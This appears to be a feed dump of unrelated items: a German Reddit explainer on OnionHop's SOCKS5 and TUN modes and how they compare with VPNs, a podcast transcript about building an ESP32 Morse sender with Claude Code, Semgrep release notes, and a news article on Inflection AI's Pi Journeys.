   Eigenschaft  Systemweiter Vermittlungsserver (System SOCKS5 Proxy)  TUN "Netzwerktunnel"(OSI Layer 3) "virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2  
 
  Arbeitsweise  Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen.  Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.  
  Zuverlässigkeit  Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet.  Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist.  
  Schutz vor Datenlecks  Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks).  Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. Zuverlässigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.  
 
 Zusammenfassung: Warum es beide Modi (System SOCKS5 Proxy und TUN) gibt
 Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten müssen:
  Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fähig sein z.B. alle Internet Browser): Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen über das Tor-Netzwerk leiten möchtest, die diesen Standard unterstützen (wie deinen Browser).
 Der TUN-Modus "virtuelle Netzwerkkarte": Er löst exakt das Problem der fehlenden Unterstützung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = ncpa.cpl) auf und zwingt das Betriebssystem, alles dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.
 
 Für die Entwickler unter euch: Wie ändert man den System-Proxy eigentlich programmatisch?
 Wer schon länger in der Softwareentwicklung tätig ist, kennt das Problem bei der plattformübergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes Süppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:
 1. Windows: Die Registrierungsdatenbank und WinINet Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst müssen die Werte in der Registrierungsdatenbank (im Zweig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings) manipuliert werden (z. B. ProxyEnable auf 1 und ProxyServer auf 127.0.0.1:9050). Der entscheidende Schritt ist danach aber, das System über diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. Dafür muss ein Aufruf der Windows-Systembibliothek wininet.dll erfolgen. Über die Programmierschnittstelle (API) InternetSetOption feuert man die Markierungen (Flags) INTERNET_OPTION_SETTINGS_CHANGED und INTERNET_OPTION_REFRESH ab, um das System zum sofortigen Neuladen zu zwingen.
 2. Linux: Die große Fragmentierung Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem für Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz für diese Einstellungen.
  Kommandozeile und Hintergrunddienste: Diese reagieren fast ausschließlich auf Umgebungsvariablen wie http_proxy oder ALL_PROXY. Diese müssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. ~/.bashrc) gesetzt werden.
 GNOME-Desktop: Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das über die C-Programmierschnittstelle von GLib oder einfacher durch das Ausführen von Systembefehlen im Hintergrund (z. B. gsettings set org.gnome.system.proxy mode 'manual').
 KDE Plasma: Speichert die Konfiguration in Textdateien (~/.config/kioslaverc), die von der Software analysiert und editiert werden müssen, gefolgt von einem Befehl zum Neustart der zuständigen KDE-Dienste.
 
 3. macOS: SystemConfiguration Framework Apple regelt das Netzwerkmanagement streng über die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).
  Der skriptbasierte Weg: Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug networksetup auf, um den Vermittlungsserver für jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. networksetup -setsocksfirewallproxy "Wi-Fi" 127.0.0.1 9050).
 Der native Weg: Die Software greift direkt über C oder Swift auf das Systemgerüst SystemConfiguration zu. Über die Programmierschnittstelle SCDynamicStore klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad State:/Network/Global/Proxies und teilt so dem Kernel die Netzwerkänderung ohne Umwege direkt mit.
 
 Wie Onionhop unter Windows den Datenverkehr über virtuelle Netzwerkschnittstellen (TUN) lenkt
 Die Magie passiert über virtuelle Netzwerkschnittstellen (TUN-Modus) und gezielte Manipulation der Wegfindung (Routing).
 1. Der virtuelle Netzwerktreiber
 Windows nutzt für Netzwerkkarten die sogenannte Network Driver Interface Specification (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).
 Auf der Ebene des Betriebssystemkerns (Kernel-Ebene) ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der Vermittlungsschicht (Layer 3). Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.
 2. Die Übernahme der Wegfindung (Routing)
 Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die Wegfindungstabelle (Routingtabelle) dynamisch angepasst, sobald die Verbindung steht:
  Onionhop fügt eine neue Standardroute (0.0.0.0/0 – also den Weg für "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.
 Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren Prioritätswert (Metrik) als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wählt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.
 
 3. Datenkapselung im Anwendungsbereich (User-Space)
 Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst läuft:
  Die Anwendung lauscht an der virtuellen Schnittstelle und fängt die IP-Pakete ab.
 Sie verschlüsselt diese Nutzdaten.
 Die verschlüsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man Datenkapselung (Encapsulation).
 Erst jetzt übergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.
 
 Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: "Ah, diese IP muss über das echte Standard-Gateway des physischen WLAN-Adapters raus."
 Der echte WLAN-Adapter dient also nur noch als reines Transportmedium für den bereits gekapselten und verschlüsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken währenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.
 Zum Selbstprüfen für die Kommandozeile:
 Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:
  Versteckte Schnittstellen anzeigen:
 PowerShellGet-NetAdapter -IncludeHidden
 Wegfindung und Prioritäten prüfen:
 PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"
 
 Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?
   Eigenschaft  OnionHop (Tor-Netzwerk)  Klassisches VPN (z.B. ProtonVPN)  
 
  Architektur  Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte.  Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.  
  Vertrauensmodell  Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich).  Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.  
  Protokolle  Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert.  Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert. Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig.  
 
 Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3
 Ein VPN verhält sich für das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fängt den gesamten Datenverkehr ab, bevor dieser das Gerät verlässt.
  Auf der Vermittlungsschicht (Schicht 3 / Network Layer): Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) übernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlüsselten Tunnel gezwungen.
 Auf der Sicherungsschicht (Schicht 2 / Data Link Layer): Einige VPN-Lösungen beherrschen auch die sogenannte Netzwerküberbrückung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) übertragen. Das System verhält sich so, als wären alle Rechner über hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel übertragen.
 
 Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7
 Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primär nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.
  Anwendungsschicht (Schicht 7) & Transportschicht (Schicht 4): Das Tor-Programm läuft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich über die Transportschicht ab – und hier auch nur für das TCP-Protokoll.
 Keine rohen Pakete: Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.
 
 Die Konsequenz für die IT-Sicherheit (Datenlecks)
 Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:
 Da ein klassisches VPN auf der Vermittlungsschicht (Schicht 3) arbeitet, fängt es als Standard-Netzweg (Default Gateway) den gesamten Verkehr des Betriebssystems ein.
 Das Zwiebelnetzwerk hingegen ist stark anfällig für Datenlecks (Leakage), da es auf Schicht 4 und 7 operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, über das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzuführen, wandern diese Datenpakete unverschlüsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wäre in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schützt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie Tails oder dedizierter Hardware-Zwischenstationen.
 
   submitted by    /u/Horus_Sirius  
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HPR4689: Cheap Yellow Display Project Part 8: Writing the code
Thu, 23 Jul 2026 02:06:01 +0200
This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerpublicradio.org/correspondents/0394.html












It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  










We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.










Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.










But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  










"Hello, my name is Trey, and I am a fraud."










OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.










As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?










So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).










Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.










Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:










"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"










I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.










Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.










CYD Morse Sender — Step-by-Step Build Plan










What You Already Have





- 3 fully designed LVGL screens (Send, Config, Keyboard)





- 7 send buttons with green styling on the Send Screen





- Speed slider (5–30 WPM) and program slot dropdown on Config Screen





- Text area + LVGL keyboard widget on Keyboard Screen





- Display driver and touchscreen hardware initialized (but touch read was stubbed out)





---





Phase 1: Fix Touchscreen Input





Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         










Phase 2: Persistent Message Storage





Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.










Phase 3: Config Screen — Slot Selection & Speed





Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.










Phase 4: Keyboard Screen — Capture and Save Text





On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.










Phase 5: Morse Code Engine





Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).










Phase 6: Non-Blocking LED Transmission





State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).










Phase 7: Wire the Send Buttons





Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.










Phase 8: Integration & Polish





Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.





---





Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8















This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 

https://hackerpublicradio.org/eps/hpr4532/index.html

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 

https://hackerpublicradio.org/eps/hpr4624/index.html

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!










But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .










Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  










Claude took me through it step-by-step, asking as it needed to read specific project files.










Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.










Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  























I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  










Then I had a thought.  I prompted Claude:










If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?










Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  










It recommended changes, and then asked permission to make those changes, file by file.  .h files & .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.










Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.



























The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.










We repeated this several times.  Some resulted in improvement, and others did not.










This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.










Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  










Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.










But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.










Again, while it was frustrating, it was much less stressful.















We proceeded to 



Phase 2: Persistent Message Storage



where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.










Next, we combined elements of 



Phase 5: Morse Code Engine



, 



Phase 6: Non-Blocking LED Transmission



, and 



Phase 7: Wire the Send Buttons



together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  










So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.










Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.










Then, 



Phase 3: Config Screen — Slot Selection & Speed



allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 



Phase 4: Keyboard Screen — Capture and Save Text



which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.










During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.










Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.










I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.










I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.










You can find all these files in my GitHub repo (

https://github.com/jttrey3/CYD_MorseSender

) where they are shared under a GPL 3.0 license.










There are still several additional steps I plan to complete in the next few months.  










1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.







I... make that "We" (Claude & I)  will be modifying the code to support an audio side tone through an attached speaker when sending code





We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.





We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.












If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.










I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.










I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  










Does using AI to develop this code make me a fraud? It still feels like it in some ways.  










Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.










Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.










I will be wrapping up this series soon, without any more 6 month gaps, I hope.










Until next time...








Provide feedback on this episode.


Studie: Mehr Cloud-Budget füllt die Security-Lücke nicht - Cloudmagazin
Thu, 23 Jul 2026 01:58:15 +0200
Der 2026 State of Cloud Security Report von Cybersecurity ... 62 % erwarten steigende Cloud-Security-Budgets; im Schnitt liegen sie laut Report bei 34 % ...


Release v1.171.0
Thu, 23 Jul 2026 01:20:41 +0200
1.171.0 - 2026-07-22
### Added

Added support for the OpenTofu .tofu file extension. Because OpenTofu uses the same HCL grammar as Terraform, .tofu files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. p/terraform) with no extra configuration. (ENGINE-2884)

### Changed

The window for collecting git contributor information during semgrep ci has been extended from the last 30 days to the last 90 days, to match the updated usage policy. (contributor-window-90-days)

### Fixed

Fixed a source of rare, nondeterministic crashes and incorrect results caused

by an OCaml compiler bug. Semgrep now builds against a compiler fork that

backports the upstream fix. (ocaml_codegen_fix)
Fixed excessive heap growth after explicit major garbage collections. Semgrep

now builds against an OCaml compiler that improves garbage collection duty

cycle pacing. (ocaml_gc_pacing_fix)
Improved the Scan Status output when no code rules will run (e.g. a

Secrets-only or Supply-Chain-only scan). The summary line no longer reports a

confusing "0 Code rules", and the "Code Rules" section now states explicitly

either that code scanning is not enabled or that there are no code rules to run,

instead of printing an empty table. (ENGINE-2878)
Fixed lockfileless Gradle dependency resolution failing with "Parsing

dependency output failed (Resolve_gradle.gradle_resolved_dependency)". The

github-dependency-graph-gradle-plugin used during resolution was fetched

unpinned, and its 1.4.2 release renamed keys in its JSON output. The plugin is

now pinned to 1.4.1. (sc-3738)



Marktübersicht: Zeiterfassungs- und Zutrittsterminals - Protector
Thu, 23 Jul 2026 00:52:35 +0200
IT-Sicherheit. NIS-2 und KRITIS: CGI und Heuking stärken Cyber-Resilienz ... Die State of Security 2026 von Kötter Security fokussierte das Thema KI in ...


Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval
Wed, 22 Jul 2026 22:58:21 +0200
Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.
The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.
"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.
Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.
Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional
White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.
"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."
White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.
"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."
That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.
Inside Pi Journeys, the AI companion that maps your relationships and life stages
Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.
"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.
White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.
Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."
The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.
What Inflection's consumer AI research reveals about how people actually use chatbots
Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.
More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.
"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."
This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."
He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.
How the $650 million Microsoft deal hollowed out Inflection — and set up its second act
To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.
